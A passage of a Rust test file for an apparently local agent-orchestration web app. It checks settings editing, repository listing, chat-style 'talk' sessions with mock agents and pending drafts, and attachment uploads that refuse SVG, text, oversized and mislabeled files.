7004 assert_eq!(role("judges")["source"], "machine");
7005 assert_eq!(role("judges")["editable"], true);
7006 assert_eq!(role("implementers")["source"], "default");
7007 let adv = role("advisors");
7008 assert_eq!(adv["fallback"], "judges");
7009 assert!(
7010 adv["seats"]
7011 .as_array()
7012 .is_some_and(|s| s.iter().all(|x| x == "b")),
7013 "{adv}"
7014 );
7015 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7016 assert_eq!(v["agents"][0]["source"], "repo");
7017 }
7018
7019 #[tokio::test]
7020 async fn settings_get_reports_a_config_that_does_not_parse() {
7021 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7022 let f = Fixture::with_repo_and_machine(repo, machine).await;
7023 let res = f.get("/api/settings").await;
7024 assert_eq!(res.status, 200, "{}", res.body);
7025 let v = res.json();
7026 assert!(v["error"]["message"].is_string(), "{v}");
7027 assert!(
7028 v["error"]["path"]
7029 .as_str()
7030 .is_some_and(|p| p.ends_with("magi.toml")),
7031 "{v}"
7032 );
7033 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7034 }
7035
7036 #[tokio::test]
7037 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7038 let (_tmp, repo, machine) = settings_dirs(
7039 SETTINGS_AGENTS,
7040 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
7041 );
7042 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7043 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7044 let rev = f.get("/api/settings").await.json()["revision"]
7045 .as_str()
7046 .expect("revision")
7047 .to_owned();
7048 let body = serde_json::json!({
7049 "revision": rev,
7050 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7051 })
7052 .to_string();
7053 let res = f.put("/api/settings/roles", &body).await;
7054 assert_eq!(res.status, 200, "{}", res.body);
7055 let text = std::fs::read_to_string(&machine).expect("machine");
7056 assert_eq!(
7057 text,
7058 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7059 );
7060 assert_eq!(
7061 std::fs::read(repo.join("magi.toml")).expect("read"),
7062 repo_before
7063 );
7064 let again = f.get("/api/settings").await.json();
7065 let judges = again["roles"]
7066 .as_array()
7067 .expect("roles")
7068 .iter()
7069 .find(|r| r["key"] == "judges")
7070 .expect("judges")
7071 .clone();
7072 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7073 let stale = f.put("/api/settings/roles", &body).await;
7075 assert_eq!(stale.status, 409, "{}", stale.body);
7076 }
7077
7078 #[tokio::test]
7079 async fn settings_put_refuses_without_touching_the_file() {
7080 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7081 let (_tmp, repo, machine) = settings_dirs(
7082 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7083 Some(machine_text),
7084 );
7085 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7086 let rev = f.get("/api/settings").await.json()["revision"]
7087 .as_str()
7088 .expect("revision")
7089 .to_owned();
7090 for roles in [
7091 serde_json::json!({ "judges": ["nope"] }),
7092 serde_json::json!({ "reviewers": ["b"] }),
7093 serde_json::json!({ "bogus": ["a"] }),
7094 ] {
7095 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7096 let res = f.put("/api/settings/roles", &body).await;
7097 assert_eq!(res.status, 422, "{roles}: {}", res.body);
7098 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7099 assert_eq!(
7100 std::fs::read_to_string(&machine).expect("machine"),
7101 machine_text
7102 );
7103 }
7104 }
7105
7106 #[tokio::test]
7107 async fn repos_list_returns_name_and_path_for_every_configured_root() {
7108 let tmp = TempDir::new().expect("tempdir");
7109 let repo = tmp.path().join("repo");
7110 std::fs::create_dir_all(&repo).expect("repo dir");
7111 let root = tmp.path().join("root");
7112 make_checkout(&root, "github.com", "yukimemi", "magi");
7113 std::fs::write(
7114 repo.join("magi.toml"),
7115 format!(
7116 "[repos]\nroots = [{:?}]\n",
7117 root.to_string_lossy().into_owned()
7118 ),
7119 )
7120 .expect("write magi.toml");
7121
7122 let f = Fixture::with_repo(repo).await;
7123 let res = f.get("/api/repos").await;
7124 assert_eq!(res.status, 200, "{}", res.body);
7125 let list = res.json();
7126 let repos = list.as_array().expect("an array");
7127 assert_eq!(repos.len(), 1);
7128 assert_eq!(repos[0]["name"], "yukimemi/magi");
7129 assert!(
7130 repos[0]["path"]
7131 .as_str()
7132 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7133 "{list}"
7134 );
7135 }
7136
7137 #[tokio::test]
7138 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7139 let tmp = TempDir::new().expect("tempdir");
7140 let repo = tmp.path().join("repo");
7141 std::fs::create_dir_all(&repo).expect("repo dir");
7142 let root = tmp.path().join("root");
7143 make_checkout(&root, "github.com", "yukimemi", "magi");
7144 std::fs::write(
7145 repo.join("magi.toml"),
7146 format!(
7147 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7148 root.to_string_lossy().into_owned()
7149 ),
7150 )
7151 .expect("write magi.toml");
7152
7153 let f = Fixture::with_repo(repo).await;
7154 let first = f.get("/api/repos").await;
7155 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7156
7157 make_checkout(&root, "github.com", "yukimemi", "rvpm");
7160 let second = f.get("/api/repos").await;
7161 assert_eq!(
7162 second.json().as_array().map(Vec::len),
7163 Some(1),
7164 "a fresh cache must not rescan inside the TTL"
7165 );
7166
7167 let refreshed = f.get("/api/repos?refresh=1").await;
7168 assert_eq!(
7169 refreshed.json().as_array().map(Vec::len),
7170 Some(2),
7171 "an explicit refresh must rescan even inside the TTL"
7172 );
7173 }
7174
7175 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7181
7182 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7186 let tmp = TempDir::new().expect("tempdir");
7187 let repo = tmp.path().join("repo");
7188 std::fs::create_dir_all(&repo).expect("repo dir");
7189 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7190 let f = Fixture::with_repo(repo.clone()).await;
7191 (tmp, repo, f)
7192 }
7193
7194 #[tokio::test]
7195 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7196 let (_tmp, _repo, f) = talk_fixture().await;
7197
7198 let opened = f.post("/api/talks", None).await;
7201 assert_eq!(opened.status, 201, "{}", opened.body);
7202 let body = opened.json();
7203 assert_eq!(body["status"], "open");
7204 assert_eq!(
7205 body["turns"].as_array().unwrap().len(),
7206 0,
7207 "opening takes no agent turn: there is nothing yet to answer"
7208 );
7209
7210 let also_opened = f.post("/api/talks", Some("{}")).await;
7212 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
7213
7214 let listed = f.get("/api/talks").await.json();
7215 assert_eq!(listed.as_array().unwrap().len(), 2);
7216 }
7217
7218 #[tokio::test]
7219 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
7220 let tmp = TempDir::new().expect("tempdir");
7221 let repo = tmp.path().join("repo");
7222 std::fs::create_dir_all(&repo).expect("repo dir");
7223 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
7224 std::fs::write(
7225 repo.join("magi.toml"),
7226 format!("{MOCK_AGENT_TOML}\n{second}"),
7227 )
7228 .expect("write magi.toml");
7229 let home = TempDir::new().expect("temp home");
7230 let talks = Talks::at(home.path().join("talks"));
7231 let ui = Arc::new(
7232 Ui::new(
7233 Queue::at(home.path().join("queue")),
7234 Questions::at(home.path().join("questions")),
7235 talks.clone(),
7236 home.path().join("runs"),
7237 home.path().to_path_buf(),
7238 repo.clone(),
7239 )
7240 .with_worktrees_root(home.path().join("wt")),
7241 );
7242 let cfg = config_for(&repo).await.expect("discover config");
7243 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
7244 let id = talk.id.clone();
7245 let call = |agent: &str| {
7246 talk_agent(
7247 State(Arc::clone(&ui)),
7248 Path(id.clone()),
7249 Json(TalkAgent {
7250 agent: agent.to_owned(),
7251 }),
7252 )
7253 };
7254
7255 let unknown = call("nobody").await.expect_err("unknown agent");
7256 assert_eq!(
7257 unknown.status,
7258 StatusCode::BAD_REQUEST,
7259 "{}",
7260 unknown.message
7261 );
7262
7263 {
7264 let mut claimed = None;
7267 for _ in 0..200 {
7268 claimed = ui.begin_talk_turn(&id).expect("claim");
7269 if claimed.is_some() {
7270 break;
7271 }
7272 tokio::time::sleep(Duration::from_millis(10)).await;
7273 }
7274 let _busy = claimed.expect("free");
7275 let busy = call("second").await.expect_err("busy talk");
7276 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
7277 }
7278 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
7279
7280 let Json(view) = call("second").await.expect("switch");
7281 assert_eq!(view.talk.agent, "second");
7282 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
7283 let saved = talks.get(&id).expect("reload");
7284 assert_eq!(saved.agent, "second");
7285 assert_eq!(saved.turns.len(), 1);
7286
7287 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
7288 .await
7289 .expect("detail");
7290 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
7291 assert_eq!(roster, ["mock", "second"]);
7292
7293 let mut closed = talks.get(&id).expect("reload");
7294 talk::close(&mut closed, &talks).expect("close");
7295 let refused = call("mock").await.expect_err("closed talk");
7296 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
7297 }
7298
7299 #[tokio::test]
7300 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
7301 let f = Fixture::start().await;
7302 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
7303 let queue = f.queue();
7304 let mut mine = Task::new(
7305 "rename the loader".to_owned(),
7306 "rename the loader".to_owned(),
7307 PathBuf::from("/repo/magi"),
7308 Source::Agent {
7309 run: talk_id.clone(),
7310 node: "chat".to_owned(),
7311 },
7312 );
7313 queue.put(&mut mine).expect("file the task");
7314 let mut theirs = Task::new(
7315 "unrelated".to_owned(),
7316 "unrelated".to_owned(),
7317 PathBuf::from("/repo/magi"),
7318 Source::Human,
7319 );
7320 queue.put(&mut theirs).expect("file the task");
7321
7322 let res = f.get(&format!("/api/talks/{talk_id}")).await;
7323 assert_eq!(res.status, 200, "{}", res.body);
7324 let body = res.json();
7325 assert_eq!(
7326 body["status"], "open",
7327 "filing a task does not close a talk"
7328 );
7329 let tasks = body["tasks"].as_array().expect("tasks array");
7330 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
7331 assert_eq!(tasks[0]["id"], mine.id);
7332 }
7333
7334 #[tokio::test]
7335 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
7336 let (_tmp, _repo, f) = talk_fixture().await;
7337 let id = f.post("/api/talks", None).await.json()["id"]
7338 .as_str()
7339 .expect("id")
7340 .to_owned();
7341
7342 let res = f
7343 .post(
7344 &format!("/api/talks/{id}/say"),
7345 Some(r#"{"text":"what does the queue module do?"}"#),
7346 )
7347 .await;
7348 assert_eq!(res.status, 202, "{}", res.body);
7349 let queued = res.json();
7350 let turns = queued["turns"].as_array().expect("turns array");
7351 assert_eq!(
7352 turns.len(),
7353 1,
7354 "the answer reflects only what is on disk the instant it is sent, \
7355 before the agent's turn - which can run for the whole of \
7356 `[graph] timeout_talk` - has a chance to land: {queued}"
7357 );
7358 assert_eq!(turns[0]["who"], "operator");
7359 assert_eq!(turns[0]["body"], "what does the queue module do?");
7360 assert_eq!(
7361 queued["thinking"], true,
7362 "the accepted response exposes the background turn claim: {queued}"
7363 );
7364
7365 let mut turns_after = 1;
7366 for _ in 0..SETTLE_STEPS {
7367 let detail = f.get(&format!("/api/talks/{id}")).await.json();
7368 turns_after = detail["turns"].as_array().expect("turns array").len();
7369 if turns_after == 2 {
7370 break;
7371 }
7372 tokio::time::sleep(Duration::from_millis(10)).await;
7373 }
7374 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
7375 }
7376
7377 #[tokio::test]
7404 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
7405 let tmp = TempDir::new().expect("tempdir");
7406 let repo = tmp.path().join("repo");
7407 std::fs::create_dir_all(&repo).expect("repo dir");
7408 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7409 let home = TempDir::new().expect("temp home");
7410 let talks = Talks::at(home.path().join("talks"));
7411 let ui = Arc::new(
7412 Ui::new(
7413 Queue::at(home.path().join("queue")),
7414 Questions::at(home.path().join("questions")),
7415 talks.clone(),
7416 home.path().join("runs"),
7417 home.path().to_path_buf(),
7418 repo.clone(),
7419 )
7420 .with_worktrees_root(home.path().join("wt")),
7421 );
7422 let cfg = config_for(&repo).await.expect("discover config");
7423
7424 for delay in 0..40u32 {
7425 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
7426 let id = talk.id.clone();
7427
7428 let handler = tokio::spawn(talk_say(
7429 State(Arc::clone(&ui)),
7430 Path(id.clone()),
7431 Ok(Json(NewTalkTurn {
7432 text: "what does the queue module do?".to_owned(),
7433 attachments: Vec::new(),
7434 })),
7435 ));
7436 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
7437 handler.abort();
7438 let _ = handler.await;
7441
7442 let mut turns = 0;
7443 for _ in 0..SETTLE_STEPS {
7444 if let Ok(fresh) = talks.get(&id) {
7445 turns = fresh.turns.len();
7446 if turns != 1 {
7447 break;
7448 }
7449 }
7450 tokio::time::sleep(Duration::from_millis(10)).await;
7451 }
7452 assert_ne!(
7453 turns, 1,
7454 "delay {delay}: talk {id} recorded the operator's turn but \
7455 the agent never answered - the reply task was never \
7456 started after the handler future was dropped"
7457 );
7458 }
7459 }
7460
7461 #[tokio::test]
7506 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
7507 let tmp = TempDir::new().expect("tempdir");
7508 let repo = tmp.path().join("repo");
7509 std::fs::create_dir_all(&repo).expect("repo dir");
7510 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7511 let home = TempDir::new().expect("temp home");
7512 let talks = Talks::at(home.path().join("talks"));
7513 let ui = Arc::new(
7514 Ui::new(
7515 Queue::at(home.path().join("queue")),
7516 Questions::at(home.path().join("questions")),
7517 talks.clone(),
7518 home.path().join("runs"),
7519 home.path().to_path_buf(),
7520 repo.clone(),
7521 )
7522 .with_worktrees_root(home.path().join("wt")),
7523 );
7524 let cfg = config_for(&repo).await.expect("discover config");
7525
7526 for attempt in 0..3u32 {
7527 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
7528 let id = talk.id.clone();
7529 let turn_guard = ui
7532 .begin_talk_turn(&id)
7533 .expect("claim the turn")
7534 .expect("a fresh talk owes nobody a turn");
7535
7536 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
7537 let (release_tx, release_rx) = std::sync::mpsc::channel();
7538 ui.set_busy_queue_gate(BusyQueueGate {
7539 reached: reached_tx,
7540 release: release_rx,
7541 });
7542
7543 let handler = tokio::spawn(talk_say(
7544 State(Arc::clone(&ui)),
7545 Path(id.clone()),
7546 Ok(Json(NewTalkTurn {
7547 text: "what does the queue module do?".to_owned(),
7548 attachments: Vec::new(),
7549 })),
7550 ));
7551
7552 tokio::time::timeout(Duration::from_secs(5), reached_rx)
7557 .await
7558 .unwrap_or_else(|_| {
7559 panic!(
7560 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
7561 )
7562 })
7563 .expect("the busy branch dropped the gate without using it");
7564
7565 let running = talks.get(&id).expect("reload talk");
7572 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
7573
7574 handler.abort();
7578 let _ = handler.await;
7579
7580 let _ = release_tx.send(());
7586
7587 let mut fresh = talks.get(&id).expect("reload talk");
7590 for _ in 0..SETTLE_STEPS {
7591 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
7592 break;
7593 }
7594 tokio::time::sleep(Duration::from_millis(10)).await;
7595 fresh = talks.get(&id).expect("reload talk");
7596 }
7597 assert!(
7598 fresh.pending.is_empty() && fresh.turns.len() == 2,
7599 "attempt {attempt}: talk {id} left the operator's text queued \
7600 with no drainer - the reclaimed turn was dropped along with \
7601 the handler future (pending {:?}, {} turns)",
7602 fresh.pending,
7603 fresh.turns.len()
7604 );
7605 }
7606 }
7607
7608 #[tokio::test]
7609 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
7610 let (_tmp, _repo, f) = talk_fixture().await;
7611 let id = f.post("/api/talks", None).await.json()["id"]
7612 .as_str()
7613 .expect("id")
7614 .to_owned();
7615 let store = f.talks();
7616 let mut recovered = store.get(&id).expect("opened talk");
7617 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
7618 .expect("persist pending draft without a live turn");
7619
7620 let edited = f
7621 .post(
7622 &format!("/api/talks/{id}/pending/edit"),
7623 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
7624 )
7625 .await;
7626 assert_eq!(edited.status, 200, "{}", edited.body);
7627 assert!(edited.json()["thinking"].as_bool().unwrap());
7628
7629 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
7630 for _ in 0..SETTLE_STEPS {
7631 if detail["turns"].as_array().expect("turns").len() == 2 {
7632 break;
7633 }
7634 tokio::time::sleep(Duration::from_millis(10)).await;
7635 detail = f.get(&format!("/api/talks/{id}")).await.json();
7636 }
7637 let turns = detail["turns"].as_array().expect("turns");
7638 assert_eq!(
7639 turns.len(),
7640 2,
7641 "the recovered draft must run once: {detail}"
7642 );
7643 assert_eq!(turns[0]["body"], "corrected");
7644 assert_eq!(detail["pending"], "");
7645 }
7646
7647 #[tokio::test]
7648 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
7649 let tmp = TempDir::new().expect("tempdir");
7650 let repo = tmp.path().join("repo");
7651 std::fs::create_dir_all(&repo).expect("repo dir");
7652 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
7653 let f = Fixture::with_repo(repo).await;
7654 let id = f.post("/api/talks", None).await.json()["id"]
7655 .as_str()
7656 .expect("id")
7657 .to_owned();
7658 let store = f.talks();
7659 let mut recovered = store.get(&id).expect("opened talk");
7660 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
7661 .expect("persist pending draft without a live turn");
7662
7663 let refused = f
7664 .post(
7665 &format!("/api/talks/{id}/say"),
7666 Some(r#"{"text":"new message"}"#),
7667 )
7668 .await;
7669 assert_eq!(refused.status, 409, "{}", refused.body);
7670 assert!(refused.body.contains("resume"), "{}", refused.body);
7671 let saved = store.get(&id).expect("draft remains after refusal");
7672 assert!(saved.turns.is_empty());
7673 assert_eq!(saved.pending, "saved before restart");
7674
7675 let say_path = format!("/api/talks/{id}/say");
7676 let (first, second) = tokio::join!(
7677 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
7678 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
7679 );
7680 assert_eq!(first.status, 409, "{}", first.body);
7681 assert_eq!(second.status, 409, "{}", second.body);
7682 let saved = store
7683 .get(&id)
7684 .expect("draft remains after concurrent refusals");
7685 assert!(saved.turns.is_empty());
7686 assert_eq!(saved.pending, "saved before restart");
7687
7688 let resumed = f
7689 .post(&format!("/api/talks/{id}/pending/resume"), None)
7690 .await;
7691 assert_eq!(resumed.status, 202, "{}", resumed.body);
7692 let duplicate = f
7693 .post(&format!("/api/talks/{id}/pending/resume"), None)
7694 .await;
7695 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
7696
7697 for _ in 0..SETTLE_STEPS {
7698 if store.get(&id).expect("talk").turns.len() == 2 {
7699 break;
7700 }
7701 tokio::time::sleep(Duration::from_millis(10)).await;
7702 }
7703 let finished = store.get(&id).expect("finished talk");
7704 assert_eq!(finished.turns.len(), 2, "{finished:?}");
7705 assert_eq!(finished.turns[0].body, "saved before restart");
7706 assert!(finished.pending.is_empty());
7707 }
7708
7709 #[tokio::test]
7710 async fn an_image_only_recovered_draft_resumes_without_text() {
7711 let (_tmp, _repo, f) = talk_fixture().await;
7712 let id = f.post("/api/talks", None).await.json()["id"]
7713 .as_str()
7714 .expect("id")
7715 .to_owned();
7716 let uploaded = f
7717 .post_bytes(
7718 &format!("/api/talks/{id}/attachments"),
7719 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
7720 PNG_BYTES,
7721 )
7722 .await;
7723 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
7724 let attachment = f
7725 .talks()
7726 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
7727 .expect("attachment metadata")
7728 .expect("stored attachment");
7729 let store = f.talks();
7730 let mut recovered = store.get(&id).expect("opened talk");
7731 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
7732
7733 let resumed = f
7734 .post(&format!("/api/talks/{id}/pending/resume"), None)
7735 .await;
7736 assert_eq!(resumed.status, 202, "{}", resumed.body);
7737 for _ in 0..SETTLE_STEPS {
7738 if store.get(&id).expect("talk").turns.len() == 2 {
7739 break;
7740 }
7741 tokio::time::sleep(Duration::from_millis(10)).await;
7742 }
7743 let finished = store.get(&id).expect("finished talk");
7744 assert_eq!(finished.turns.len(), 2, "{finished:?}");
7745 assert!(finished.turns[0].body.is_empty());
7746 assert_eq!(finished.turns[0].attachments.len(), 1);
7747 assert!(finished.pending_attachments.is_empty());
7748 }
7749
7750 #[tokio::test]
7751 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
7752 let (_tmp, _repo, f) = talk_fixture().await;
7753 let id = f.post("/api/talks", None).await.json()["id"]
7754 .as_str()
7755 .expect("id")
7756 .to_owned();
7757 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
7758 assert_eq!(closed.status, 200, "{}", closed.body);
7759 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
7760 .expect("serialize closed talk");
7761 for (path, body) in [
7762 (format!("/api/talks/{id}/pending/resume"), None),
7763 (
7764 format!("/api/talks/{id}/pending/clear"),
7765 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
7766 ),
7767 (
7768 format!("/api/talks/{id}/pending/edit"),
7769 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
7770 ),
7771 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
7772 ] {
7773 let response = f.post(&path, body).await;
7774 assert_eq!(response.status, 409, "{}", response.body);
7775 }
7776 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
7777 .expect("serialize closed talk");
7778 assert_eq!(
7779 after_clear, before_clear,
7780 "clear must not rewrite a closed talk"
7781 );
7782 }
7783
7784 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
7787
7788 #[tokio::test]
7789 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
7790 let tmp = TempDir::new().expect("tempdir");
7791 let repo = tmp.path().join("repo");
7792 std::fs::create_dir_all(&repo).expect("repo dir");
7793 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
7794 let f = Fixture::with_repo(repo).await;
7795 let id_a = f.post("/api/talks", None).await.json()["id"]
7796 .as_str()
7797 .unwrap()
7798 .to_owned();
7799 let id_b = f.post("/api/talks", None).await.json()["id"]
7800 .as_str()
7801 .unwrap()
7802 .to_owned();
7803
7804 let a = f
7805 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
7806 .await;
7807 assert_eq!(a.status, 202, "{}", a.body);
7808 assert_eq!(a.json()["thinking"], true);
7809 let b = f
7810 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
7811 .await;
7812 assert_eq!(b.status, 202, "{}", b.body);
7813 assert_eq!(b.json()["thinking"], true);
7814
7815 let listed = f.get("/api/talks").await.json();
7816 for id in [&id_a, &id_b] {
7817 let view = listed
7818 .as_array()
7819 .unwrap()
7820 .iter()
7821 .find(|talk| talk["id"] == *id)
7822 .unwrap();
7823 assert_eq!(view["thinking"], true, "{listed}");
7824 }
7825 let repeated = f
7826 .post(
7827 &format!("/api/talks/{id_a}/say"),
7828 Some(r#"{"text":"again"}"#),
7829 )
7830 .await;
7831 assert_eq!(repeated.status, 202, "{}", repeated.body);
7832 assert_eq!(repeated.json()["pending"], "again");
7833 }
7834
7835 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
7838
7839 #[tokio::test]
7840 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
7841 let f = Fixture::start().await;
7842 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
7843
7844 let res = f
7845 .post_bytes(
7846 &format!("/api/talks/{id}/attachments"),
7847 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
7848 PNG_BYTES,
7849 )
7850 .await;
7851 assert_eq!(res.status, 201, "{}", res.body);
7852 let body = res.json();
7853 assert_eq!(body["name"], "shot.png");
7854 assert_eq!(body["mime"], "image/png");
7855 assert_eq!(body["bytes"], PNG_BYTES.len());
7856 let att_id = body["id"].as_str().expect("id").to_owned();
7857 assert_eq!(
7858 att_id.len(),
7859 32,
7860 "the id must never be a client-suppliable path: {att_id}"
7861 );
7862
7863 let got = f
7864 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
7865 .await;
7866 assert_eq!(got.status, 200, "{}", got.body);
7867 assert_eq!(got.header("content-type"), Some("image/png"));
7868 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
7869 assert_eq!(got.bytes, PNG_BYTES);
7870 }
7871
7872 #[tokio::test]
7873 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
7874 let f = Fixture::start().await;
7875 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
7876
7877 let svg = f
7880 .post_bytes(
7881 &format!("/api/talks/{id}/attachments"),
7882 &[("Content-Type", "image/svg+xml")],
7883 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
7884 )
7885 .await;
7886 assert!(
7887 (400..500).contains(&svg.status),
7888 "svg must be refused: {} {}",
7889 svg.status,
7890 svg.body
7891 );
7892 assert!(svg.body.contains("SVG"), "{}", svg.body);
7893
7894 let text = f
7895 .post_bytes(
7896 &format!("/api/talks/{id}/attachments"),
7897 &[("Content-Type", "text/plain")],
7898 b"just some text",
7899 )
7900 .await;
7901 assert!(
7902 (400..500).contains(&text.status),
7903 "an unlisted type must be refused: {} {}",
7904 text.status,
7905 text.body
7906 );
7907
7908 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
7911 let big = f
7912 .post_bytes(
7913 &format!("/api/talks/{id}/attachments"),
7914 &[("Content-Type", "image/png")],
7915 &oversized,
7916 )
7917 .await;
7918 assert_eq!(
7919 big.status,
7920 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
7921 "{}",
7922 big.body
7923 );
7924 }
7925
7926 #[tokio::test]
7927 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
7928 let f = Fixture::start().await;
7929 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
7930
7931 let res = f
7934 .post_bytes(
7935 &format!("/api/talks/{id}/attachments"),
7936 &[("Content-Type", "image/png")],
7937 b"<html>not a picture</html>",
7938 )
7939 .await;
7940 assert!((400..500).contains(&res.status), "{}", res.body);
7941 }
7942
7943 #[tokio::test]
7944 async fn an_unknown_attachment_id_is_a_404() {
7945 let f = Fixture::start().await;
7946 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
7947
7948 let res = f
7949 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
7950 .await;
7951 assert_eq!(res.status, 404, "{}", res.body);
7952 }
7953
7954 #[tokio::test]
7955 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
7956 let f = Fixture::start().await;
7957 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
7958
7959 let uploaded = f
7960 .post_bytes(
7961 &format!("/api/talks/{id}/attachments"),
7962 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
7963 PNG_BYTES,
7964 )
7965 .await;
7966 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
7967 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
7968
7969 let res = f
7970 .post(
7971 &format!("/api/talks/{id}/say"),
7972 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
7973 )
7974 .await;
7975 assert_eq!(res.status, 202, "{}", res.body);
7976 let queued = res.json();
7977 let turns = queued["turns"].as_array().expect("turns array");
7978 assert_eq!(
7979 turns.len(),
7980 1,
7981 "an empty body with an attachment is still a turn: {queued}"
7982 );
7983 assert_eq!(turns[0]["who"], "operator");
7984 assert_eq!(turns[0]["body"], "");
7985 let atts = turns[0]["attachments"]
7986 .as_array()
7987 .expect("attachments array");
7988 assert_eq!(atts.len(), 1);
7989 assert_eq!(atts[0]["id"], att_id);
7990 assert_eq!(atts[0]["mime"], "image/png");
7991
7992 let on_disk = f.talks().get(&id).expect("get");
7995 assert_eq!(on_disk.turns[0].attachments.len(), 1);
7996 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
7997 }
7998
7999 #[tokio::test]
